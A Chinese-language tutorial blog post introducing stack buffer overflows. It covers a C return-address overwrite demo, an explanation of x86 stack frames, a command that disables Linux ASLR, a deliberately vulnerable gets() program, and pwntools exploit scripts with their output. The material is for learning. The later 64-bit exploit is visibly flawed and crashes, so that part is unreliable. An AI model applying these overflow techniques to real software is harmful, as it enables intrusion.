棧溢出 hack 入門例子 hello world


棧溢出示例代碼:

  1. #include<Windows.h>
  2. #include<stdio.h>
  3. #include<stdlib.h>
  4.  
  5.  
  6. void Msg() {
  7. MessageBoxA( NULL, "嘿嘿!", "堆棧溢出測試", 0);
  8. }
  9.  
  10. int Add(int a, int b) {
  11. int* p = &a;
  12. *(p -1) = (int)Msg;
  13. return a + b;
  14. }
  15.  
  16. void main() {
  17. printf("%d", Add(1, 2));
  18. system( "pause");
  19. return;
  20. }

運行結果:

按下確定以后出現異常:

 

首先在講解原理之前首先介紹一些基本知識便於理解原理:

匯編層面的函數調用過程

  每個函數的每次調用,都有它自己獨立的一個棧幀,這個棧幀中維持着所需要的各種信息。寄存器ebp指向當前的棧幀的底部(高地址),寄存器esp指向當前的棧幀的頂部(低地址)。

下圖表示當正在執行FunctonA函數時的棧情況:系統棧可以認為是全部棧空間。棧幀對應每一個函數調用,EBP寄存器存放當前活動棧幀的棧底,ESP寄存器存放當前活動棧幀的棧頂。當前函數可以在當前的棧幀區域內存放局部變量和信息,全局的變量不存放在棧,有專門的區域存放。

 下圖表示call FunctionB之前做的工作:首先PUSH 函數的參數,從右向左壓入,然后保存call FunctionB下一條指令的地址,便於函數返回。這個保存下一條指令地址和跳轉到FunctionB處由 call 指令完成。

下圖表示創建新的FunctionB的棧幀:首先PUSH EBP 保存舊棧幀的棧底,用於函數返回。然后MOV EBP,ESP,設置當前EBP為舊棧幀棧底的地址處(如下圖),最后SUB ESP, 0X0C0H ,ESP向上開辟空間,具體開辟多少根據編譯器。到此新的棧幀開辟完了。(題外話:FunctionB可以通過EBP+8 獲取到arg0,EBP+12獲取到arg1,這就是為什么倒着壓入參數的原因。如果FunctionB里面有局部變量,則可以放在EBP和ESP這段棧空間里面。)

下圖表示FunctionB函數返回后棧的變化:首先 MOV ESP,EBP POP EBP來還原EBP為舊的棧幀棧底。然后RET 到call FunctionB的下一條指令處(RET 包含POP JMP,所以下一條指令地址恰好被提出),最后ADD ESP,8 ,去掉壓入的參數,8是因為壓入了2個參數。到此已經還原了原來的環境了。整個調用過程結束了。

 

現在進入主題,介紹原理:上面的代碼核心思想就是改變調用Add(1,2)時,改變返回的地址(就是下一條指令的地址):

修改這個地址內容為Msg()入口地址,這樣就會執行Msg()代碼。關鍵時怎么確定這個地址,然后寫入Msg()入口地址搞定他。其實我們可以通過Add(int a,int b)的參數a確定下一條地址的地址,如圖:獲取a變量的地址,然后向上退就可以到下一條指令的地址,如后覆蓋為Msg(),入口地址即可。

關鍵代碼解釋:

  1. int* p = &a;//獲取a變量的地址
  2. *(p -1) = (int)Msg;//上退覆蓋地址為Msg入口地址,這里(p-1)而不是-4是因為p為地址,減一就是減一個字

    

 

首先需要補充一下aslr,linux下:

我們可以通過修改 /proc/sys/kernel/randomize_va_space 來控制 ASLR 啟動與否,具體的選項有
0,關閉 ASLR,沒有隨機化。棧、堆、.so 的基地址每次都相同。
1,普通的 ASLR。棧基地址、mmap 基地址、.so 加載基地址都將被隨機化,但是堆基地址沒有隨機化。
2,增強的 ASLR,在 1 的基礎上,增加了堆基地址隨機化。
我們可以使用echo 0 > /proc/sys/kernel/randomize_va_space關閉 Linux 系統的 ASLR,類似的,也可以配置相應的參數。

棧溢出原理

最基本的棧溢出原理無非就是通過控制輸入, 填充, 覆蓋掉ebp, 同時重寫返回地址。下面這個例子的最終目的是通過棧溢出,獲得shell。

比如:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() { char s[12]; gets(s); puts(s); return; }
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

當然我是把很多模式都關掉了

 % checksec stack_example
[*] '/home/abc/Desktop/pwn/example/stack_example'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

使用 -fno-stack-protector-no-pie關閉canaryPIE

IDA拖進去之后主要是看vulnerable函數

int vulnerable()
{
  char s; // [sp+4h] [bp-14h]@1

  gets(&s);
  return puts(&s);
}

可以知道s距離 ebp為0x14h個字節

直接沖掉, 同時把返回地址變成我們想要的(看最上面的例子就知道為何是14了,70-56=14

.text:08048456 success         proc near
.text:08048456
.text:08048456 var_4           = dword ptr -4
.text:08048456
.text:08048456 push ebp .text:08048457 mov ebp, esp .text:08048459 push ebx .text:0804845A sub esp, 4 .text:0804845D call __x86_get_pc_thunk_ax .text:08048462 add eax, 1B9Eh .text:08048467 sub esp, 0Ch .text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it." .text:08048470 push edx ; s
.text:08048471                 mov     ebx, eax
.text:08048473                 call    _puts
.text:08048478                 add     esp, 10h
.text:0804847B                 nop
.text:0804847C                 mov     ebx, [ebp+var_4]
.text:0804847F                 leave
.text:08048480 retn
.text:08048480 success         endp

返回地址需要變成 0x08048456  ----???為啥是這個???

然后寫exp

from pwn import *

context.binary = './stack_example'
if args['DEBUG']:
    context.log_level = 'debug'


#context.log_level = 'debug'

p = process('./stack_example')

payload = 'a'*0x14+'bbbb'

payload += p32(0x08048456)

p.sendline(payload)

p.interactive()

結果:

 % python exp.py
[*] '/home/abc/Desktop/pwn/example/stack_example'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process './stack_example': pid 48512
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbV\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$ whoami [*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 48512) [*] Got EOF while sending in interactive

在我的mac docker kali linux環境下運行:

cc -fno-stack-protector -no-pie bone.c -o bone
gdb bone

 通過匯編查看反匯編碼:

(gdb) disas main
Dump of assembler code for function main:
   0x000000000040116d <+0>:    push   %rbp
   0x000000000040116e <+1>:    mov    %rsp,%rbp
   0x0000000000401171 <+4>:    sub    $0x10,%rsp
   0x0000000000401175 <+8>:    mov    %edi,-0x4(%rbp)
   0x0000000000401178 <+11>:    mov    %rsi,-0x10(%rbp)
   0x000000000040117c <+15>:    mov    $0x0,%eax
   0x0000000000401181 <+20>:    callq  0x401145 <vulnerable>
   0x0000000000401186 <+25>:    mov    $0x0,%eax
   0x000000000040118b <+30>:    leaveq
   0x000000000040118c <+31>:    retq   
End of assembler dump.
(gdb) disas vulnerable
Dump of assembler code for function vulnerable:
   0x0000000000401145 <+0>:    push   %rbp // 看來我是應該覆蓋這個地址
   0x0000000000401146 <+1>:    mov    %rsp,%rbp
   0x0000000000401149 <+4>:    sub    $0x10,%rsp
   0x000000000040114d <+8>:    lea    -0xc(%rbp),%rax
   0x0000000000401151 <+12>:    mov    %rax,%rdi
   0x0000000000401154 <+15>:    mov    $0x0,%eax
   0x0000000000401159 <+20>:    callq  0x401040 <gets@plt>
   0x000000000040115e <+25>:    lea    -0xc(%rbp),%rax
   0x0000000000401162 <+29>:    mov    %rax,%rdi
   0x0000000000401165 <+32>:    callq  0x401030 <puts@plt>
   0x000000000040116a <+37>:    nop
   0x000000000040116b <+38>:    leaveq
   0x000000000040116c <+39>:    retq   
End of assembler dump.
(gdb) q
於是我的pwn代碼編寫如下:
from pwn import *

context.binary = './bone'
if args['DEBUG']:
    context.log_level = 'debug'


#context.log_level = 'debug'

p = process('./bone')

payload = 'a'*0x14+'bbbb'

addr = 0x0000000000401145
payload += p64(addr).decode()

p.sendline(payload)

p.interactive()

 運行:

../code/pwn_demo# python3 exp.py 
[*] '/home/bonelee/shell_coders_handbook/code/pwn_demo/bone'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './bone': pid 3931
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbE\x11
[*] Got EOF while reading in interactive
$ whoami
[*] Process './bone' stopped with exit code -11 (SIGSEGV) (pid 3931)
[*] Got EOF while sending in interactive

雖然是獲得了$,但是執行命令沒有返回,貌似這個例子不完美。

后面再深入學吧,總算是完成了hello world。




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM